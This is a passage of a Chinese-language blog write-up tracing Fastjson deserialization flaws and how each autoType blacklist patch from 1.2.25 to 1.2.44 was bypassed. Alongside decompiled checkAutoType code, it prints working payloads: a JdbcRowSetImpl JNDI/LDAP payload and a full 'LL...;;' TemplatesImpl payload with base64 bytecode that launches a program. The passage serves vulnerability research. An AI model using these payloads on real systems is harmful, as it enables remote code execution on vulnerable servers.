// 输出:
// getS1mple()
// {"@type":"wodefuck","s1mple":["AQ=="]}

简单的写个demo跑一下不难发现是输出的是base64编码;看来是对字节码做了base64加密,这里直接反序列化下json;

1
2
3
4
String json1  ="{\"@type\":\"wodefuck\",\"s1mple\":[\"AQ==\"]}";
Object json2 = JSON.parseObject(json1);
System.out.println(json2);

发现其回显为

1
2
{"s1mple":[[1]]}

所以可以看到对字节流采取了base64解密的反json化;所以顺应其原理,将bytecode进行相应的base64加密,传入,直接反json化解析就可利用漏洞;所以上述的exp可以直接利用成功,进行攻击TemplatesImpl类达到rce的效果;另外还要写个点,json在反序列化的时候是会忽略不存在的属性的;int类型会直接赋值为0;因为测试后发现int类型下在fastjson中0和null有相同的效果;这是在复现的时候因为代码写错偶然发现的一个问题;

gkKRWF.png

fastjson历史之绕过方式

1.2.25-1.2.41补丁绕过

1
2
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

简单追溯一下其历史就会发现其修补还是很有趣的;

在1.2.25中;DefaultJSONParser class下做出了一个改动;由原来的

1
2
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

修改成了

1
2
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

可以发现其加上了一个check;追溯下这个方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

断点打到这个方法上;

gJCG11.png

其typeName是我们的class名字;走到下面的判断中拿autoTypeSupport来进行if判断,追溯下,发现其在字节码中的static块有调用;这个就很熟悉了,分析过Common Collections的都很理解字节码下的static是会被直接调用的;追溯下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static {
String property = IOUtils.getStringProperty("fastjson.parser.deny");
DENYS = splitItemsFormProperty(property);
property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport");
AUTO_SUPPORT = "true".equals(property);
property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept");
String[] items = splitItemsFormProperty(property);
if (items == null) {
items = new String[0];
}

AUTO_TYPE_ACCEPT_LIST = items;
global = new ParserConfig();
awtError = false;
jdk8Error = false;
}
}

这里看到AUTO_SUPPORT是否为true取决于equals方法;这里断点调试发现其默认为空,所以这里equals参数为空,所以直接最后拼接后返回false;导致AUTO_SUPPORT为false;

gJ8tJA.png

但是在构造器中不难发现重要的字段是由其来进行控制的,所以在默认的状态下,fastjson的autotypesupport为false;官方的wiki也进行了相应的描述https://github.com/alibaba/fastjson/wiki/enable_autotype

gJ82zq.png

开启的方法之一也就是进行代码中设置,将其置为true;

所以先来分析下默认时候的状态下代码执行流程看看如何解析;因为为false;所以

1
2
if (this.autoTypeSupport || expectClass != null) 

这个if点直接卡死;然后去getClassFromMapping一下Mapping中的key;也就是在反序列化的时候的类;追溯下看看mapping中原本的类有哪些;

gJGRtH.png

列出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
mappings = {ConcurrentHashMap@579}  size = 86
"java.awt.Color" -> {Class@695} "class java.awt.Color"
"[char" -> {Class@329} "class [C"
"java.lang.IllegalStateException" -> {Class@698} "class java.lang.IllegalStateException"
"java.lang.IndexOutOfBoundsException" -> {Class@700} "class java.lang.IndexOutOfBoundsException"
"java.sql.Time" -> {Class@702} "class java.sql.Time"
"java.lang.NoSuchMethodException" -> {Class@704} "class java.lang.NoSuchMethodException"
"java.util.Collections$EmptyMap" -> {Class@176} "class java.util.Collections$EmptyMap"
"java.util.Date" -> {Class@707} "class java.util.Date"
"java.awt.Point" -> {Class@709} "class java.awt.Point"
"[boolean" -> {Class@330} "class [Z"
"float" -> {Class@712} "float"
"java.lang.AutoCloseable" -> {Class@270} "interface java.lang.AutoCloseable"
"java.lang.NullPointerException" -> {Class@243} "class java.lang.NullPointerException"
"java.lang.NoSuchFieldError" -> {Class@716} "class java.lang.NoSuchFieldError"
"java.lang.NoSuchFieldException" -> {Class@718} "class java.lang.NoSuchFieldException"
"java.util.concurrent.atomic.AtomicInteger" -> {Class@185} "class java.util.concurrent.atomic.AtomicInteger"
"java.util.Locale" -> {Class@37} "class java.util.Locale"
"java.lang.InstantiationException" -> {Class@722} "class java.lang.InstantiationException"
"java.lang.InternalError" -> {Class@724} "class java.lang.InternalError"
"java.lang.SecurityException" -> {Class@726} "class java.lang.SecurityException"
"[int" -> {Class@324} "class [I"
"[double" -> {Class@327} "class [D"
"java.lang.Cloneable" -> {Class@313} "interface java.lang.Cloneable"
"java.lang.IllegalAccessException" -> {Class@731} "class java.lang.IllegalAccessException"
"java.util.IdentityHashMap" -> {Class@552} "class java.util.IdentityHashMap"
"java.lang.LinkageError" -> {Class@303} "class java.lang.LinkageError"
"byte" -> {Class@735} "byte"
"double" -> {Class@737} "double"
"java.awt.Font" -> {Class@739} "class java.awt.Font"
"java.sql.Timestamp" -> {Class@741} "class java.sql.Timestamp"
"java.util.concurrent.ConcurrentHashMap" -> {Class@33} "class java.util.concurrent.ConcurrentHashMap"
"java.lang.StringIndexOutOfBoundsException" -> {Class@744} "class java.lang.StringIndexOutOfBoundsException"
"java.util.UUID" -> {Class@746} "class java.util.UUID"
"java.lang.Exception" -> {Class@308} "class java.lang.Exception"
"java.lang.IllegalAccessError" -> {Class@749} "class java.lang.IllegalAccessError"
"com.alibaba.fastjson.JSONObject" -> {Class@563} "class com.alibaba.fastjson.JSONObject"
"java.awt.Rectangle" -> {Class@752} "class java.awt.Rectangle"
"java.lang.StackOverflowError" -> {Class@298} "class java.lang.StackOverflowError"
"[B" -> {Class@326} "class [B"
"java.lang.TypeNotPresentException" -> {Class@756} "class java.lang.TypeNotPresentException"
"[C" -> {Class@329} "class [C"
"[D" -> {Class@327} "class [D"
"java.text.SimpleDateFormat" -> {Class@760} "class java.text.SimpleDateFormat"
"java.util.HashMap" -> {Class@171} "class java.util.HashMap"
"[F" -> {Class@328} "class [F"
"long" -> {Class@764} "long"
"[I" -> {Class@324} "class [I"
"java.util.TreeSet" -> {Class@767} "class java.util.TreeSet"
"[short" -> {Class@325} "class [S"
"[J" -> {Class@323} "class [J"
"java.lang.VerifyError" -> {Class@771} "class java.lang.VerifyError"
"java.util.LinkedHashMap" -> {Class@92} "class java.util.LinkedHashMap"
"java.util.HashSet" -> {Class@7} "class java.util.HashSet"
"java.lang.IllegalMonitorStateException" -> {Class@297} "class java.lang.IllegalMonitorStateException"
"[byte" -> {Class@326} "class [B"
"java.util.Calendar" -> {Class@598} "class java.util.Calendar"
"[S" -> {Class@325} "class [S"
"java.lang.StackTraceElement" -> {Class@779} "class java.lang.StackTraceElement"
"java.lang.NoClassDefFoundError" -> {Class@781} "class java.lang.NoClassDefFoundError"
"java.util.Hashtable" -> {Class@285} "class java.util.Hashtable"
"java.util.WeakHashMap" -> {Class@162} "class java.util.WeakHashMap"
"java.util.LinkedHashSet" -> {Class@785} "class java.util.LinkedHashSet"
"[Z" -> {Class@330} "class [Z"
"java.lang.NegativeArraySizeException" -> {Class@788} "class java.lang.NegativeArraySizeException"
"java.lang.IllegalThreadStateException" -> {Class@790} "class java.lang.IllegalThreadStateException"
"[long" -> {Class@323} "class [J"
"java.lang.NoSuchMethodError" -> {Class@183} "class java.lang.NoSuchMethodError"
"java.lang.NumberFormatException" -> {Class@794} "class java.lang.NumberFormatException"
"java.lang.RuntimeException" -> {Class@307} "class java.lang.RuntimeException"
"java.lang.IllegalArgumentException" -> {Class@70} "class java.lang.IllegalArgumentException"
"int" -> {Class@798} "int"
"java.sql.Date" -> {Class@800} "class java.sql.Date"
"java.util.concurrent.TimeUnit" -> {Class@802} "class java.util.concurrent.TimeUnit"
"java.util.concurrent.atomic.AtomicLong" -> {Class@466} "class java.util.concurrent.atomic.AtomicLong"
"java.util.concurrent.ConcurrentSkipListMap" -> {Class@805} "class java.util.concurrent.ConcurrentSkipListMap"
"boolean" -> {Class@807} "boolean"
"java.util.concurrent.ConcurrentSkipListSet" -> {Class@809} "class java.util.concurrent.ConcurrentSkipListSet"
"java.util.TreeMap" -> {Class@811} "class java.util.TreeMap"
"java.lang.InstantiationError" -> {Class@813} "class java.lang.InstantiationError"
"java.lang.InterruptedException" -> {Class@815} "class java.lang.InterruptedException"
"[float" -> {Class@328} "class [F"
"char" -> {Class@818} "char"
"short" -> {Class@820} "short"
"java.lang.Object" -> {Class@322} "class java.lang.Object"
"java.util.BitSet" -> {Class@38} "class java.util.BitSet"
"java.lang.OutOfMemoryError" -> {Class@299} "class java.lang.OutOfMemoryError"

这里显然没有我们需要反序列化的目标类;所以直接返回为空;返回为空之后去走向:

1
2
clazz = this.deserializers.findClass(typeName);

去到IdentityHashMap的类池中进行find;显然也是没有的;列出其部分后续put的默认的类池:identityHashMap类池是以buckets为基,buckets内部为key和value,以此形成一个单向链表内存缓冲区;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
this.deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
this.deserializers.put(Timestamp.class, SqlDateDeserializer.instance_timestamp);
this.deserializers.put(Date.class, SqlDateDeserializer.instance);
this.deserializers.put(Time.class, TimeDeserializer.instance);
this.deserializers.put(java.util.Date.class, DateCodec.instance);
this.deserializers.put(Calendar.class, CalendarCodec.instance);
this.deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);
this.deserializers.put(JSONObject.class, MapDeserializer.instance);
this.deserializers.put(JSONArray.class, CollectionCodec.instance);
this.deserializers.put(Map.class, MapDeserializer.instance);
this.deserializers.put(HashMap.class, MapDeserializer.instance);
this.deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
this.deserializers.put(TreeMap.class, MapDeserializer.instance);
this.deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
this.deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);
this.deserializers.put(Collection.class, CollectionCodec.instance);
this.deserializers.put(List.class, CollectionCodec.instance);
this.deserializers.put(ArrayList.class, CollectionCodec.instance);
this.deserializers.put(Object.class, JavaObjectDeserializer.instance);
this.deserializers.put(String.class, StringCodec.instance);
this.deserializers.put(StringBuffer.class, StringCodec.instance);
this.deserializers.put(StringBuilder.class, StringCodec.instance);
this.deserializers.put(Character.TYPE, CharacterCodec.instance);
this.deserializers.put(Character.class, CharacterCodec.instance);
this.deserializers.put(Byte.TYPE, NumberDeserializer.instance);
this.deserializers.put(Byte.class, NumberDeserializer.instance);
this.deserializers.put(Short.TYPE, NumberDeserializer.instance);
this.deserializers.put(Short.class, NumberDeserializer.instance);
this.deserializers.put(Integer.TYPE, IntegerCodec.instance);
this.deserializers.put(Integer.class, IntegerCodec.instance);
this.deserializers.put(Long.TYPE, LongCodec.instance);
this.deserializers.put(Long.class, LongCodec.instance);
this.deserializers.put(BigInteger.class, BigIntegerCodec.instance);
this.deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
this.deserializers.put(Float.TYPE, FloatCodec.instance);
this.deserializers.put(Float.class, FloatCodec.instance);
this.deserializers.put(Double.TYPE, NumberDeserializer.instance);
this.deserializers.put(Double.class, NumberDeserializer.instance);
this.deserializers.put(Boolean.TYPE, BooleanCodec.instance);
this.deserializers.put(Boolean.class, BooleanCodec.instance);
this.deserializers.put(Class.class, MiscCodec.instance);
this.deserializers.put(char[].class, new CharArrayCodec());
this.deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
this.deserializers.put(AtomicInteger.class, IntegerCodec.instance);
this.deserializers.put(AtomicLong.class, LongCodec.instance);
this.deserializers.put(AtomicReference.class, ReferenceCodec.instance);
this.deserializers.put(WeakReference.class, ReferenceCodec.instance);
this.deserializers.put(SoftReference.class, ReferenceCodec.instance);
this.deserializers.put(UUID.class, MiscCodec.instance);
this.deserializers.put(TimeZone.class, MiscCodec.instance);
this.deserializers.put(Locale.class, MiscCodec.instance);
this.deserializers.put(Currency.class, MiscCodec.instance);
this.deserializers.put(InetAddress.class, MiscCodec.instance);
this.deserializers.put(Inet4Address.class, MiscCodec.instance);
this.deserializers.put(Inet6Address.class, MiscCodec.instance);
this.deserializers.put(InetSocketAddress.class, MiscCodec.instance);
this.deserializers.put(File.class, MiscCodec.instance);
this.deserializers.put(URI.class, MiscCodec.instance);
this.deserializers.put(URL.class, MiscCodec.instance);
this.deserializers.put(Pattern.class, MiscCodec.instance);
this.deserializers.put(Charset.class, MiscCodec.instance);
this.deserializers.put(JSONPath.class, MiscCodec.instance);
this.deserializers.put(Number.class, NumberDeserializer.instance);
this.deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
this.deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
this.deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);
this.deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
this.deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
this.deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
this.deserializers.put(Closeable.class, JavaObjectDeserializer.instance);

经过两次Mapping中的find;都无果,这里最后clazz为null;进入后续的代码块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}

代码逻辑也不是很复杂,就是拿到默认的黑名单,然后去和我们需要反序列化的类去进行比较;如果比较中,就抛出异常;如果反序列化调用class不在黑名单中;就去和程序默认的白名单去进行匹配;如果匹配到就直接loadClass;如果既不在黑名单也不在白名单中,则会进行后续的判断;

回到上个类;

1
2
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

可以看到程序在传入的时候,就将expectClass置为空;所以后续的流程都为null;所以接着之前的if判断走,就只成了判断autoTypeSupport是否为true;很显然分析的是默认情况下为false;所以一堆if直接false;直接到最后throw一个错误,因为这是程序本身的设计问题,所以直接一路false;也是无法bypass的;但是如果有带哥有其他的方法,可以交流交流😂;

1.2.25-1.2.41绕过

下面来分析下当autoTypeSupport被设置成true的时候的利用方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

可以很清楚的看到在autoTypeSupport为true的时候会进入if的代码块,接着去拿到默认的允许反序列化的class;然后将传入的class和其进行对比,如果符合,则调用ClassLoader去加载相应的class;如果我们反序列化的类不是默认的允许类,那么就回去和黑名单进行比对;如果类全称的前几个以黑名单类的前几个路径开头,则会进行ban掉,并抛出一个错误;

("autoType is not support. " + typeName);

如果需要反序列化的class既不在白名单也不是黑名单中,那么会进行后续的判断流程;也就是去到IdentityHashMap类池和ConcurrentHashMap类池中查找相应的类,如果存在则也会进行进行if的判断然后根据结果去return

1
2
3
4
5
6
7
8
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
}

那么问题就来了,如果我们需要去反序列化的class不是在白名单也不是在黑名单中,在进行了上述的一些操作之后,进入下面的代码块:

1
2
3
4
5
6
7
8
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

可以看到当autoTypeSupport为true的时候,依然是需要进行黑名单的判断;没有必要非的是白名单中的class才可被加载;但是相应的class不能继承ClassLoader和DataSource类;

所以无论如何我们都是需要和黑名单去硬刚;但是我们的思路也不能进局限于此;可以看到在经历的ParserConfig类的处理之后,会return一个clazz。然后去进行下一步的处理;就是在返回这个clazz的时候发生了问题;

来看下源码;

1
2
3
4
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

在此进行调用了TypeUtils class下的loadClass方法;去追溯一下;因为autoTypeSupport为true;之前也分析过只是需要绕过黑名单的限制就可;追溯源码看下;

1
2
3
4
5
6
7
8
9
10
11
12
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);

看到这里如果我们的class名字开头为[ 或者为L并且结尾为;的话,会自动进行拿掉,然后在loadClass;但是在实际解析的时候,因为json格式的问题,加上中括号的时候会直接爆出json解析错误,并不会达到这一步的命令执行点;

这也就导致了问题所在,我们可以在我们恶意的class前加上这些东西,来绕过黑名单,然后后期会将这些东西去掉去loadClass;就挺好;

实践一下;我这里直接手动开启autoTypeSupport为true;然后直接rce;还是利用javassist;因为之前cc中有这个包,所以我也懒得下载maven的依赖了;直接导入ysoserial的依赖去映射利用javassist类包;

gabXgP.png

1.2.42版本的修复

在后续的版本中,阿里对相应的漏洞进行了修复;将默认的黑名单换成了hash值,但是不得不说这个也有点鸡肋,github上已经有人经过遍历拿到了所有的默认的黑名单,因为其在框架中写了加密算法;追溯一下加密算法不难发现;

gdmMIH.png

1
2
3
4
5
6
7
8
9
10
11
12
public static long fnv1a_64(String key) {
long hashCode = -3750763034362895579L;

for(int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
hashCode ^= (long)ch;
hashCode *= 1099511628211L;
}

return hashCode;
}

可以看到是利用每个位进行异或然后乘法累积运算;再有就是这个点:

gd0q2t.png

可以很清晰的看到,新版本在原版本的checkAutoType的基础之上,在代码里加入了截取前后两个字符的操作,想来这里肯定是对之前漏洞的控制,将前后为L和 ; 的class截取前后的字符之后再来进行使用;但是这里又出现了一个问题,仔细看他的判断依据,仅仅是对前后的那个字符做了判断然后将其抹去,没有对整个class的name进行判断,那么这里就会存在一个漏洞点,如果加了两个LL和两个::

当程序运行到此,会将前后的那个L和 ; 进行抹去,从而进入后面的程序,但是我们class的name中还是有漏洞利用的,也就是和上个版本的payload一样;那么又会是新的漏洞点;

1
2
3
{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\"_bytecodes\":[\"yv66vgAAADQAJQoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZzMW1wbGUBAAxJbm5lckNsYXNzZXMBABFMZmFzdGpzb24kczFtcGxlOwEAClNvdXJjZUZpbGUBAA1mYXN0anNvbi5qYXZhDAAEAAUHABMBAA9mYXN0anNvbiRzMW1wbGUBABBqYXZhL2xhbmcvT2JqZWN0AQAIZmFzdGpzb24BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAUCgAVAA8BAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAYAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGgAbCgAZABwBAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yCAAeAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAIAAhCgAZACIBAA1TdGFja01hcFRhYmxlACEAAgAVAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABaxAAAAAgAHAAAABgABAAAABgAIAAAADAABAAAABQAJAAwAAAAIABcABQABAAYAAAAkAAMAAgAAAA+nAAMBTLgAHRIftgAjV7EAAAABACQAAAADAAEDAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk=\"],\'_name\':\'a.b\',\'_tfactory\':{ },\'_outputProperties\':{ }}


gdBKi9.png

成功利用;

1.2.43修复

1.2.43在checkAutoType函数中做了稍微的调整;拿着和1.2.42稍微进行比对就会发现对于前后的字符做了更加严格的判断;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

可见在此在原来的基础之上又加入了第一个和第二个字符的判别,看来是对LL进行了封堵;到此我们的链条已经没有什么可以利用;

1.2.44中的继续封堵

继续追溯下checkAutoType函数的源码,发现修改了大部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

这里很清楚的看到了在源码中程序对第一个字符的判断,经过测试后发现为 [ ,程序对 [ 开头的class也进行了相应的判断;并且将L开头和 ; 结尾的class全都进行了throw false的处理,所以到此,原本的payload已经完全无法使用,需要去寻找新的payload去进行攻击;

在此后的版本中,fastjson也都是一直在补充黑名单;有意义的是在1.2.47;fastjson爆出了一个通杀的payload;

这个漏洞的利用需要autoTypeSupport为false的时候才可利用;因为之前也说过,在check函数中是并行着autoTypeSupport为true和false的代码块的。所以在此再来审计下新版本的流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;//因为我们肯定传入class,所以这里tyepname肯定不为null;所以可以直接跳过;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;//拿到第一个字符的hash
if (h1 == -5808493101479473382L) {//判断是否为“ [ ”
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {//判断是否为L开头和;结尾
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {//当autoTypeSupport为false的时候直接跳过;
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//跳过代码块直接进入后续此代码;
if (clazz == null) {//如果为null,则会从两个mapping中去寻找class name;
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {//如果找到了相应的class;然后进到后续的if判断,显然if不对,所以直接return clazz;
//这里逻辑也就是说只要在mapping中找到了我们的类,就会直接return;因为expectClass直接传入就为null;
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
//如果在mapping中没有找到相应的class;就会去进行黑白名单比对从而去决定是否loadClass;然后return下load后的;
if (!this.autoTypeSupport) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
